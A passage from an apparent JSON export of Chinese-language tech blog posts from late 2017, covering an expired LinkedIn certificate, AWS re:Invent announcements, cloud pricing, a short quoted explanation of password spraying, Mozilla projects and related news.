(Powered by Qualys SSL Labs)</a>」。\r\n\r\n然後因為 LinkedIn 有設定 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a>，所以使用者在界面上完全無法登入：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Qgixf5M.webp\" /><img src=\"https://i.gslin.com/imgur/Qgixf5M.jpg\" alt=\"\" /></picture>\r\n\r\n在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 上可以用 <code>badidea</code> 繞過 (參考「<a href=\"https://blog.gslin.org/archives/2016/09/14/6841/%E5%9C%A8-google-chrome-%E9%80%A3%E4%B8%8A%E5%9B%A0-hsts-%E8%80%8C%E7%84%A1%E6%B3%95%E9%80%A3%E7%B7%9A%E7%9A%84%E7%B6%B2%E7%AB%99/\">在 Google Chrome 連上因 HSTS 而無法連線的網站</a>」)，但在 Mozilla Firefox 上的話目前沒找到方法可以在界面上 bypass，而是需要改 <code>SiteSecurityServiceState.txt</code> 這個檔案：「<a href=\"https://support.mozilla.org/en-US/questions/1159143\">HTTP Strict Transport Security prevents me from accessing a server that I'm doing development on</a>」。\r\n\r\n不過也因為兩個 cluster 獨立運作，網址改一下應該就會動了...\r\n\r\n這幾年比較很少看到大公司出這種包，還蠻有趣的 XD",
    "title": "LinkedIn 忘記續約導致 SSL Certificate 過期"
  },
  {
    "id": "7867",
    "body": "首先是 <a href=\"https://www.vmware.com/\">VMware</a> 發文打臉 <a href=\"https://www.microsoft.com/\">Microsoft</a> 說他們所宣稱的轉移工具 (從 VMware 轉到 <a href=\"https://azure.microsoft.com/\">Azure</a> 上) 並沒有 VMware 原廠支援：「<a href=\"https://blog.cloud.vmware.com/s/content/a1y6A000000aFlgQAE/vmware-the-platform-of-choice-in-the-cloud\">VMware – The Platform of Choice in the Cloud</a>」。\r\n\r\n然後 <a href=\"https://aws.amazon.com/\">AWS</a> 則是推出了從 Hyper-V 轉移到 AWS 的工具：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/migrate-hyper-v-vms-to-aws-with-aws-server-migration-service/\">Migrate Hyper-V VMs to AWS with AWS Server Migration Service</a>」，這邊倒是沒提到官方支援...\r\n\r\n這臉不只是腫腫的而已了，有種連續技的感覺 XD",
    "title": "Microsoft 虛擬化的兩個消息：Azure 被打臉以及 AWS 推出轉移工具"
  },
  {
    "id": "7868",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈可以透過 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">Network Load Balancer</a> 把 <a href=\"https://aws.amazon.com/api-gateway/\">API Gateway</a> 接進 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 內了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/amazon-api-gateway-supports-endpoint-integrations-with-private-vpcs/\">Amazon API Gateway Supports Endpoint Integrations with Private VPCs</a>」。\r\n\r\n<blockquote>You can use API Gateway to create an API endpoint that is integrated with your VPC. You create an endpoint to your VPC by setting up a VPC link between your VPC and a Network Load Balancer (NLB), which is provided by Elastic Load Balancing.</blockquote>\r\n\r\n基本上是所有的區域都有了，除了美國政府的區域外：\r\n\r\n<blockquote>This feature is now available in US East (N. Virginia), US East (Ohio), US West (Oregon), US West (N. California), Canada (Central), South America (São Paulo), EU (Ireland), EU (Frankfurt), EU (London), Asia Pacific (Singapore), Asia Pacific (Tokyo), Asia Pacific (Sydney), Asia Pacific (Seoul), and Asia Pacific (Mumbai) AWS regions.</blockquote>\r\n\r\n是透過 NLB 接進去，而不是 ELB Classic 或是 ALB，可以來想像網路架構是怎麼做的...",
    "title": "Amazon API Gateway 可以透過 NLB 接進 VPC 內了"
  },
  {
    "id": "7869",
    "body": "這個報導蠻有趣的：「<a href=\"http://www.openculture.com/2017/11/a-map-showing-how-much-time-it-takes-to-learn-foreign-languages-from-easiest-to-hardest.html\">A Map Showing How Much Time It Takes to Learn Foreign Languages: From Easiest to Hardest</a>」。\r\n\r\n文章裡分成這幾種：(扣除已經是母語的英語，Category 0)\r\n\r\n<ul>\r\n\t<li>Category I: 23-24 weeks (575-600 hours) Languages closely related to English</li>\r\n\t<li>Category II: 30 weeks (750 hours) Languages similar to English</li>\r\n\t<li>Category III: 36 weeks (900 hours) Languages with linguistic and/or cultural differences from English</li>\r\n\t<li>Category IV: 44 weeks (1100 hours) Languages with significant linguistic and/or cultural differences from English</li>\r\n\t<li>Category V: 88 weeks (2200 hours) Languages which are exceptionally difficult for native English speakers</li>\r\n</ul>\r\n\r\n其中時間最長的這部份引用一下：\r\n\r\n<blockquote>Arabic\r\nCantonese (Chinese)\r\nMandarin (Chinese)\r\n*Japanese\r\nKorean\r\n* Usually more difficult than other languages in the same category.</blockquote>",
    "title": "英文母語的人學習外語所需的時間"
  },
  {
    "id": "7871",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 是說 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 可用的記憶體空間 double 啦，不過 3008MB 這個數字有點怪...：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/aws-lambda-doubles-maximum-memory-capacity-for-lambda-functions/\">AWS Lambda Doubles Maximum Memory Capacity for Lambda Functions</a>」。\r\n\r\n<blockquote>You can now allocate 3008MB of memory to your AWS Lambda functions. Previously, the maximum amount of memory available to your functions was 1536MB. Now, it's easier to process workloads with higher memory or denser compute requirements, such as big data analysis, large file processing, and statistical computations.</blockquote>\r\n\r\n這個就真的全區都生效了，包括一般人不能註冊的 <a href=\"https://aws.amazon.com/govcloud-us/\">AWS GovCloud (US)</a> 與中國區：\r\n\r\n<blockquote>This feature is available in US East (N. Virginia), US East (Ohio), US West (N. California), US West (Oregon), AWS GovCloud (US), Canada (Central), South America (São Paulo), EU (Frankfurt), EU (Ireland), EU (London), Asia Pacific (Mumbai), Asia Pacific (Seoul), Asia Pacific (Singapore), Asia Pacific (Sydney), Asia Pacific (Tokyo), and China (Beijing).</blockquote>",
    "title": "AWS Lambda 可使用的記憶體空間從 1.5GB 變成 3GB"
  },
  {
    "id": "7872",
    "body": "<a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 要支援 <a href=\"https://golang.org/\">Golang</a> 的資訊在官網上沒看到消息，但是 <a href=\"https://twitter.com/\">Twitter</a> 上看到現場的照片提到了 Golang：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">&quot;...and Go&quot; native support in AWS Lambda <a href=\"https://twitter.com/Werner?ref_src=twsrc%5Etfw\">@Werner</a> AWS <a href=\"https://twitter.com/hashtag/reInvent?src=hash&amp;ref_src=twsrc%5Etfw\">#reInvent</a> <a href=\"https://t.co/M8FuJKWYkh\">pic.twitter.com/M8FuJKWYkh</a></p>&mdash; Eric Hammond (@esh) <a href=\"https://twitter.com/esh/status/936301895546580992?ref_src=twsrc%5Etfw\">November 30, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n再來等看看吧... 看起來還沒支援，只是先放話？",
    "title": "AWS Lambda 要支援 Golang？"
  },
  {
    "id": "7873",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出的新設計 Spread Placement Group，用來打散 instance：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/introducing-spread-placement-groups-for-amazon-ec2/\">Introducing Spread Placement Groups for Amazon EC2</a>」。\r\n\r\n本來的 Cluster Placement Group 是將機器集中在一起，對於 latency 極為敏感的應用會有幫助 (像是下面有提到 HPC 應用)；這次推出的 Spread Placement Group 則是要求跑在不同機器上，打散降低風險：\r\n\r\n<blockquote>Spread placement groups help reduce the likelihood of failures within clusters or groups of instances. Amazon EC2 has had cluster placement groups, which enable applications to get the low-latency network performance necessary for tightly-coupled node-to-node communication typical of many HPC applications. Now with spread placement groups, member instances will be placed on distinct hardware, reducing the impact of hardware failures on your applications.</blockquote>\r\n\r\n然後也是全區開放：\r\n\r\n<blockquote>Spread placement groups are available in all AWS regions. To get started, visit the AWS Management Console, AWS Command Line Interface (CLI), and AWS SDKs.</blockquote>",
    "title": "Amazon EC2 可以設定 Spread Placement Group 要求打散機器"
  },
  {
    "id": "7874",
    "body": "<a href=\"https://www.google.com/\">Google</a> 的應該是做的最早的，<a href=\"https://www.microsoft.com/\">Microsoft</a> 的 <a href=\"https://www.microsoft.com/en-us/translator/translatorapi.aspx\">Microsoft Translator Text API</a> 也出來一陣子了，而 <a href=\"https://aws.amazon.com/\">AWS</a> 在這次 <a href=\"https://reinvent.awsevents.com\">re:Invent</a> 推出了自家的翻譯服務 <a href=\"https://pages.awscloud.com/amazon-translate-preview.html\">Amazon Translate</a>：「<a href=\"https://aws.amazon.com/blogs/aws/introducing-amazon-translate-real-time-text-language-translation/\">Introducing Amazon Translate – Real-time Language Translation</a>」。\r\n\r\n目前還在 Preview，需要申請才能用，不過價目表「<a href=\"https://aws.amazon.com/translate/pricing/\">Amazon Translate Pricing</a>」已經先出來了 (畢竟已經有競爭對手，可以參考他們的價錢)：\r\n\r\n<blockquote>Sign up for the Amazon Translate <a href=\"https://pages.awscloud.com/amazon-translate-preview.html\">preview</a> today and try the translation service. Learn more about the service by checking out the preview product page or reviewing the technical guides provided in the AWS documentation.</blockquote>\r\n\r\n然後目前支援的語言有這些，都是對英文轉換：\r\n\r\n<blockquote>At Preview, Amazon Translate supports translation between English and any of the following languages: Arabic, Chinese (Simplified), French, German, Portuguese, and Spanish. Support for more languages is coming soon.</blockquote>",
    "title": "AWS 的翻譯服務：Amazon Translate"
  },
  {
    "id": "7877",
    "body": "在「<a href=\"https://www.trustwave.com/Resources/SpiderLabs-Blog/Simplifying-Password-Spraying/\">Simplifying Password Spraying</a>」這篇看到，原來這個叫做 Password Spray...\r\n\r\n<blockquote>To give a little background, traditional brute force attacks of one username with multiple passwords don't work very well against Windows services. This is because they employ lockout functionality after a set number of login attempts. A Password Spray circumvents the lockout functionality by trying only a few of the most common passwords against multiple user accounts, trying to identify that one person who is using 'Password1' or 'Summer2017'.</blockquote>\r\n\r\n這個方法可以避開在同一個帳號的防禦機制...",
    "title": "Password Spray：用同個密碼暴力打所有的 username"
  },
  {
    "id": "7878",
    "body": "這次 <a href=\"https://aws.amazon.com/\">AWS</a> 推出的 <a href=\"https://aws.amazon.com/kinesis/video-streams/\">Amazon Kinesis Video Streams</a> 在技術上看起來跟 <a href=\"https://aws.amazon.com/media-services/\">Amazon Media Services</a> 有不少重疊 (參考先前提到的文章「<a href=\"https://blog.gslin.org/archives/2017/11/28/7836/aws-media-services-%E6%8E%A8%E5%87%BA%E4%B8%80%E5%8D%A1%E8%BB%8A%E8%88%87%E5%BD%B1%E9%9F%B3%E7%9B%B8%E9%97%9C%E7%9A%84%E6%9C%8D%E5%8B%99/\">AWS Media Services 推出一卡車與影音相關的服務...</a>」)，但產品面上區隔開的服務：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-kinesis-video-streams-serverless-video-ingestion-and-storage-for-vision-enabled-apps/\">Amazon Kinesis Video Streams – Serverless Video Ingestion and Storage for Vision-Enabled Apps</a>」。\r\n\r\n開頭介紹就有提到適合用在各種 IoT 裝置，用在一直有影像資料產生的設備上：\r\n\r\n<blockquote>Cell phones, security cameras, baby monitors, drones, webcams, dashboard cameras, and even satellites can all generate high-intensity, high-quality video streams. Homes, offices, factories, cities, streets, and highways are now host to massive numbers of cameras.</blockquote>\r\n\r\n像這張圖的所介紹的流程，以及可以保留天數的設計：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/u17qHbs.webp\" /><img src=\"https://i.gslin.com/imgur/u17qHbs.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/R8Nwc4c.webp\" /><img src=\"https://i.gslin.com/imgur/R8Nwc4c.jpg\" alt=\"\" /></picture>\r\n\r\n底層用了不少與 Amazon Media Services 相同的技術，但是包裝成不同的產品...",
    "title": "Amazon Kinesis Streams 的 Video 版本：Amazon Kinesis Video Streams"
  },
  {
    "id": "7879",
    "body": "<a href=\"https://wordpress.org/\">WordPress</a> 在 Internet 有很大的佔有率，在「<a href=\"https://w3techs.com/technologies/details/cm-wordpress/all/all\">Usage statistics and market share of WordPress for websites</a>」這邊有一直更新的資料，現在是：\r\n\r\n<blockquote>WordPress is used by 59.9% of all the websites whose content management system we know. This is 29.1% of all websites.</blockquote>\r\n\r\n這數字可以參考看看。而在「<a href=\"https://discuss.httparchive.org/t/state-of-the-wordpress-ecosystem/1145\">State of the WordPress ecosystem</a>」這邊就看到有人在分析 WordPress 在整個 Internet 上的情況。可以看到裡面有蠻多都是透過 <a href=\"https://cloud.google.com/products/bigquery/\">BigQuery</a> 分析出來的...\r\n\r\n在分析整個頁面的平均下載量時，可以看到 WordPress 的頁面比較肥：\r\n\r\n<blockquote>We get 1590 KB for wordpress=false and 1897 KB for wordpress=true.</blockquote>\r\n\r\n但是在 WordPress 上未最佳化的圖片比較少，原文裡猜測是歸功於 plugin 的關係：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CYNviwu.webp\" /><img src=\"https://i.gslin.com/imgur/CYNviwu.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>@amedina I wonder if this has to do with the availability of tools/plugins in the WordPress ecosystem that optimize images effortlessly, as opposed to other web development pipelines that require manual image optimization or installation of specialized tools.</blockquote>\r\n\r\n所以就跑去分析了 WordPress 上使用了哪些 plugin，不過這是看 web request 以及 path 得到的，如果 plugin 是純粹在內部執行的話就看不到了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iN7PPMh.webp\" /><img src=\"https://i.gslin.com/imgur/iN7PPMh.jpg\" alt=\"\" /></picture>\r\n\r\n整個分析還蠻有趣的，而且還在進行...",
    "title": "WordPress 在 Internet 上的情況"
  },
  {
    "id": "7880",
    "body": "<a href=\"http://www.brendangregg.com/\">Brendan Gregg</a> 整理了 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的各種虛擬化技術以及效能的比較：「<a href=\"http://www.brendangregg.com/blog/2017-11-29/aws-ec2-virtualization-2017.html\">AWS EC2 Virtualization 2017</a>」，從他做的這張圖可以看到最新的兩個技術 (編號 7 與 8) 的效能相當好：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nA2nAm1.webp\" /><img src=\"https://i.gslin.com/imgur/nA2nAm1.jpg\" alt=\"\" /></picture>\r\n\r\n主要分成三種虛擬化技術：\r\n\r\n<blockquote><ul>\r\n\t<li>Virtualized in Software: While this can support an unmodified guest OS, many operations are emulated and slow. Apps may run 2x to 10x slower, or worse.</li>\r\n\t<li>Paravirtualization: The hypervisor provides efficient hypercalls, and the guest OS uses drivers and kernel modifications to call these hypercalls. It's using software and coordination between the hypervisor and guest to improve performance. I'd expect measurable overhead of 10% to 50% (depending on the PV type and workload).</li>\r\n\t<li>Virtualized in Hardware: Hardware support for virtualization, and near bare-metal speeds. I'd expect between 0.1% and 1.5% overhead.</li>\r\n</ul></blockquote>\r\n\r\n用硬體虛擬化的過程... 然後最後也推出 bare metal 的機器 XD",
    "title": "Amazon EC2 各種虛擬化技術的效能"
  },
  {
    "id": "7882",
    "body": "在 <a href=\"https://aws.amazon.com/\">AWS</a> 推出 Bare Metal 版本的 Instance 後 (參考「<a href=\"https://blog.gslin.org/archives/2017/11/29/7844/amazon-ec2-%E6%8E%A8%E5%87%BA%E7%AC%AC%E4%B8%80%E6%AC%BE-bare-metal-%E7%9A%84-instance/\">Amazon EC2 推出第一款 Bare Metal 的 Instance</a>」)，<a href=\"https://www.vultr.com/\">Vultr</a> 也推出 Bare Metal 機器了：「<a href=\"https://www.vultr.com/news/Deploy-Bare-Metal-Cloud-Servers-With-Vultr/\">Deploy Bare Metal Cloud Servers With Vultr!</a>」。\r\n\r\n目前先在新加坡推出，之後會再往其他地區推出 ：\r\n\r\n<blockquote>We are first introducing bare metal in Singapore and more locations will be rolled out in the coming weeks.</blockquote>\r\n\r\n在「<a href=\"https://www.vultr.com/pricing/baremetal/\">Vultr Bare Metal - Dedicated servers with hourly billing. - Vultr.com</a>」頁可以看到目前只提供一種機器，E3-1270v6 + 32GB RAM + 2*240GB SSD，一個月 USD$300 ($0.446/hr)。\r\n\r\n對照 AWS 提供的 E5-2686v4 + 512GB RAM + 15.2TB SSD，Vultr 的這個規格很微妙... 會有 bare metal 需求通常是因為效能上的不足，但你給的這個規格感覺就鳥鳥的，對效能的幫助好像不大啊...",
    "title": "Vultr 也推出 Bare Metal 的機器了"
  },
  {
    "id": "7884",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人分析了在 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 上跑 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">Percona XtraDB Cluster</a> (PXC) 效能 (I/O bound)：「<a href=\"https://www.percona.com/blog/2017/11/28/best-practices-percona-xtradb-cluster-aws/\">Best Practices for Percona XtraDB Cluster on AWS</a>」。\r\n\r\n先看他們做出來的圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3lcxoSo.webp\" /><img src=\"https://i.gslin.com/imgur/3lcxoSo.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lL4iHGO.webp\" /><img src=\"https://i.gslin.com/imgur/lL4iHGO.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/kqT6Jww.webp\" /><img src=\"https://i.gslin.com/imgur/kqT6Jww.jpg\" alt=\"\" /></picture>\r\n\r\n直接跳到結論的地方。如果資料可以掉，用 <code>i3</code> 本地 storage 的效能是最好的，如果要資料不能掉，用 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的 Provisioned IOPS SSD (io1) 的效能會比 General Purpose (gp2) 好很多。\r\n\r\n另外 instance type 的選擇上，避免用 <code>{i3,r4}.large</code>，因為測試出來發現 <code>{i3,r4}.xlarge</code> 的效能好不只一倍。\r\n\r\n不過 <a href=\"https://aws.amazon.com/rds/aurora/\">Aurora</a> 的 Multi-master 已經在 Preview 了啊，如果 Percona 的人拿到帳號的話，應該會有單位成本的效能比較可以看...",
    "title": "Percona 分析在 AWS 上跑 Percona XtraDB Cluster 的效能 (I/O bound)"
  },
  {
    "id": "7886",
    "body": "在「<a href=\"https://www.paulfurley.com/randomize-your-wifi-mac-address-on-ubuntu-1604-xenial/\">Randomize your WiFi MAC address on Ubuntu 16.04</a>」這邊看到作者在介紹如何在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 上藉由改變無線網卡的 MAC address 保護自己的隱私：\r\n\r\n<blockquote>Your device’s MAC address can be used to track you across the WiFi networks you connect to. That data can be shared and sold, and often identifies you as an individual. It’s possible to limit this tracking by using pseudo-random MAC addresses.</blockquote>\r\n\r\n成果像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hcZt8g7.webp\" /><img src=\"https://i.gslin.com/imgur/hcZt8g7.jpg\" alt=\"\" /></picture>\r\n\r\n主要應該是給 Ubuntu 的筆電使用者用...",
    "title": "在 Ubuntu 16.04 上面隨機改變無線網卡的 MAC address"
  },
  {
    "id": "7887",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://www.mozilla.org/\">Mozilla</a> 在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/mozilla/DeepSpeech\">mozilla/DeepSpeech</a> 這個專案，用 <a href=\"https://www.tensorflow.org/\">TensorFlow</a> 實做了<a href=\"https://www.baidu.com/\">百度</a>的「<a href=\"https://arxiv.org/abs/1412.5567\">Deep Speech: Scaling up end-to-end speech recognition</a>」論文：\r\n\r\n<blockquote>A TensorFlow implementation of Baidu's DeepSpeech architecture</blockquote>\r\n\r\n語音轉文字的方案，Mozilla 開專案實做出來了...\r\n\r\n這程式碼需要安裝 <a href=\"https://git-lfs.github.com/\">Git Large File Storage</a> 才能完整下載包含訓練資料的部份：\r\n\r\n<blockquote>Manually install Git Large File Storage, then clone the repository normally:\r\ngit clone https://github.com/mozilla/DeepSpeech</blockquote>\r\n\r\n而目前已經有的資料來自於 Mozilla 另外一個專案「<a href=\"https://voice.mozilla.org/\">Common Voice</a>」：\r\n\r\n<blockquote>The Common Voice project is Mozilla's initiative to help teach machines how real people speak.</blockquote>\r\n\r\nCommon Voice 這個專案目前只有英文，網頁上就可以參與 validation 過程...",
    "title": "Mozilla 實做百度發表的 Speech-To-Text 引擎 Deep Speech"
  },
  {
    "id": "7888",
    "body": "剛剛看到「<a href=\"https://www.hinet.net/notifyPage.html?type=0&amp;id=1600faf21ab0000034aa\">HiNet DNS系統設備維護作業</a>」：\r\n\r\n<blockquote>範圍：苗栗(含)以南至雲林(含)以北HiNet上網用戶</blockquote>\r\n\r\n加上之前在「<a href=\"https://blog.gslin.org/archives/2017/10/16/7641/%E4%B8%AD%E8%8F%AF%E7%9A%84-dns-%E6%9E%B6%E6%A7%8B/\">中華的 DNS 架構</a>」提到的公告，這樣看起來 HiNet DNS Resolver 至少是切成三段？\r\n\r\n靠著公告在猜架構...",
    "title": "所以 HiNet DNS Resolver 至少有三段...？"
  },
  {
    "id": "7891",
    "body": "在今年的 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 2017 上宣佈 <a href=\"https://aws.amazon.com/ecs/\">Amazon ECS</a> 也支援 <a href=\"https://kubernetes.io/\">Kubernetes</a>，也就是 <a href=\"https://aws.amazon.com/eks/\">Amazon EKS</a>：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-elastic-container-service-for-kubernetes/\">Amazon Elastic Container Service for Kubernetes</a>」，一個用的人夠多就支援的概念...\r\n\r\n目前這個服務還在 Preview，所以要申請才能用：\r\n\r\n<blockquote>Amazon EKS is available in Preview. We look forward to hearing your feedback.</blockquote>\r\n\r\n另外一個在 AWS re:Invent 2017 上宣佈的是 <a href=\"https://aws.amazon.com/fargate/\">AWS Fargate</a>，讓你連 <a href=\"https://aws.amazon.com/ecs/\">Amazon ECS</a> 或是 <a href=\"https://aws.amazon.com/eks/\">Amazon EKS</a> 都不用管的服務，直接按照 container 的大小收費：「<a href=\"https://aws.amazon.com/blogs/aws/aws-fargate/\">Introducing AWS Fargate – Run Containers without Managing Infrastructure</a>」、「<a href=\"https://aws.amazon.com/blogs/compute/aws-fargate-a-product-overview/\">AWS Fargate: A Product Overview</a>」。\r\n\r\n第一個有疑慮的點是，是否會跟其他人共用相同的 host，也就是 isolation 的程度。這點在 AWS 的人在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的<a href=\"https://news.ycombinator.com/item?id=15808096\">這邊</a>有回覆，在不同的 cluster 上不會使用同樣的底層：\r\n\r\n<blockquote>NathanKP 4 days ago [-]\r\nFargate isolation is at the cluster level. Apps running in the same cluster may share the underlying infrastructure, apps running in different clusters won't.</blockquote>\r\n\r\n另外也提到每個 cluster 都是使用者自己產生的：\r\n\r\n<blockquote>NathanKP 3 days ago [-]\r\nA customer creates a cluster on their account. You as a customer can create one or more Fargate clusters on your account to launch your containers in.</blockquote>\r\n\r\n不是很正面的回覆，而且不是在官方的 forum 回的，安全性就要大家自己判斷了...\r\n\r\n另外也有有提到與 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 相比，價錢當然會比較貴，但可以預期會降低 engineer 的時間成本：\r\n\r\n<blockquote>NathanKP 4 days ago [-]\r\nAWS employee here. Just want to say that we actually had a typo in the per second pricing on launch. The actual pricing is:\r\n    $0.0506 per CPU per hour\r\n    $0.0127 per GB of memory per hour\r\nFargate is definitely more expensive than running and operating an EC2 instance yourself, but for many companies the amount that is saved by needing to spend less engineer time on devops will make it worth it right now, and as we iterate I expect this balance to continue to tip. AWS has dropped prices more than 60 times since we started out.</blockquote>\r\n\r\n目前只能接 Amazon ECS，預定 2018 可以接 Amazon EKS：\r\n\r\n<blockquote>I will tell you that we plan to support launching containers on Fargate using Amazon EKS in 2018.</blockquote>\r\n\r\n而目前這個版本 (可以接 Amazon ECS 的版本) 在 <code>us-east-1</code> 已經開放了：\r\n\r\n<blockquote>Fargate is available today in the US East (Northern Virginia) region.</blockquote>",
    "title": "Amazon EKS 與 AWS Fargate"
  },
  {
    "id": "7892",
    "body": "<a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 的繁體中文簡介都已經放出來了：「<a href=\"https://aws.amazon.com/tw/new/reinvent/\">re:Invent 2017 | 新產品和服務</a>」。\r\n\r\n雖然引用的 blog post 沒有翻譯，但給了一部分的中文說明，對於了解發表了什麼東西應該是有蠻大的幫助，算是一種快速導讀...\r\n\r\n不過... 看內容有可能是找外面翻譯社翻的，因為有些翻譯有點怪 XDDD (在地球上用繁體中文的三個地區 (台港澳) 好像沒人這樣講的...)\r\n\r\n<blockquote>區域間 VPC 對等\r\nAmazon EC2 現在可以建立不同 AWS 區域中各 Virtual Private Cloud (VPC) 間的對等關係。區域間 VPC 對等功能可讓在不同 AWS 區域執行的 EC2 執行個體、RDS 和 Lambda 等 VPC 資源透過私有 IP 地址互相通訊，無須閘道、VPN 連接或分開的實體硬體。進一步了解 »</blockquote>",
    "title": "AWS 官方已經放出 AWS re:Invent 2017 所有發表的東西的中文介紹了"
  },
  {
    "id": "7893",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到<a href=\"http://www.europarl.europa.eu/\">歐盟議會</a>試著以 Bug Bounty 計畫支援 Open Source Software 的消息。這次看到的是 <a href=\"https://www.videolan.org/vlc/\">VLC</a>：「<a href=\"https://hackerone.com/vlc\">VLC: Bug Bounty Program - Get Rewards through HackerOne</a>」。\r\n\r\n<blockquote>The European Parliament has approved budget to improve the EU’s IT infrastructure by extending the free software security audit programme (FOSSA) and by including a bug bounty approach in the programme.</blockquote>\r\n\r\n這還蠻特別的... 由官方經費贊助 open source 的計畫，除了 VLC 外，重點會在成效以及後續還有哪些被贊助。",
    "title": "歐洲議會嘗試撥款支援 Open Source Software 的 Bug Bounty 計畫"
  },
  {
    "id": "7895",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 先前終止與 <a href=\"https://www.yahoo.com/\">Yahoo!</a> 的合作後 (在 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 內預設使用 Yahoo! 的搜尋引擎)，Yahoo! 提告以及 Mozilla 還手的消息在最近被 Mozilla 揭露：「<a href=\"https://blog.mozilla.org/blog/2017/12/05/mozilla-files-cross-complaint-against-yahoo-holdings-and-oath/\">Mozilla Files Cross-Complaint Against Yahoo Holdings and Oath</a>」。\r\n\r\nYahoo! 提告的檔案 (PDF) 在「<a href=\"https://blog.mozilla.org/press/files/2017/12/2017-12-01-Yahoo-Redacted-Complaint.pdf\">2017-12-01-Yahoo-Redacted-Complaint.pdf</a>」，Mozilla 還手的檔案 (PDF) 則是在「<a href=\"https://ffp4g1ylyit3jdyti1hqcvtb-wpengine.netdna-ssl.com/press/files/2017/12/2017-12-05-Mozilla-Redacted-X-Complaint-with-Exhibits-and-POS.pdf\">2017-12-05-Mozilla-Redacted-X-Complaint-with-Exhibits-and-POS.pdf</a>」這邊。\r\n\r\n在 <a href=\"https://www.mozilla.org/en-US/firefox/57.0/releasenotes/\">Firefox 57</a> 釋出時，Mozilla 就把預設的搜尋引擎改回 <a href=\"https://www.google.com/\">Google</a> (參考「<a href=\"https://techcrunch.com/2017/11/14/mozilla-terminates-its-deal-with-yahoo-and-makes-google-the-default-in-firefox-again/\">Mozilla terminates its deal with Yahoo and makes Google the default in Firefox again</a>」)，不過當時 Firefox 57 更大的消息是推出了 <a href=\"https://wiki.mozilla.org/Quantum\">Quantum</a>，讓瀏覽器的速度拉到可以跟目前的霸主 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 競爭的程度，所以就沒有太多人注意到這件事情...\r\n\r\n過了幾個禮拜消息比較退燒後，被告以及反過來告的消息出來後，才注意到原來換了搜尋引擎... XD\r\n\r\n旁邊搖旗吶喊沒什麼用，就拉板凳出來看吧...",
    "title": "Yahoo! 與 Mozilla 針對預設搜尋引擎的事情戰起來了..."
  },
  {
    "id": "7896",
    "body": "<a href=\"https://line.me/\">LINE</a> 將內部的座位表由 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Excel\">Excel</a> 管理，改用 Web 界面了：「<a href=\"https://engineering.linecorp.com/ja/blog/detail/216\">Excel管理の座席表をLeafletでWeb化した話</a>」，這邊不確定是全球的 LINE，還是只有日本的 LINE...\r\n\r\n如果跟日本人有過業務合作的話，就會知道他們對 Excel 的用法只能用\r\n\r\n<span style=\"font-size: 800%; line-height: 100%;\">出神入化</span>\r\n\r\n來形容啊... 所以看到 LINE 特地寫了一篇來說明他們開發內部系統的事情，覺得還蠻有趣的...\r\n\r\n起因是今年四月換辦公室，所以就順便換系統，把本來用 Excel 管理的座位表改用 Web 管理 (然後用了 <a href=\"http://leafletjs.com/\">Leaflet</a> 這個 JavaScript Library)：\r\n\r\n<blockquote>人員の増加に対応するために、今年の4月、LINEはJR新宿ミライナタワーに移転しました。移転に伴い、IT支援室ではいくつかの新しい社内システムを導入しましたが、今日はその1つである「座席表」についてお話させていただきます。</blockquote>\r\n\r\n這是 Excel 版本的樣子：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AI9CVNA.webp\" /><img src=\"https://i.gslin.com/imgur/AI9CVNA.jpg\" alt=\"\" /></picture>\r\n\r\n這是新版本的樣子，UI 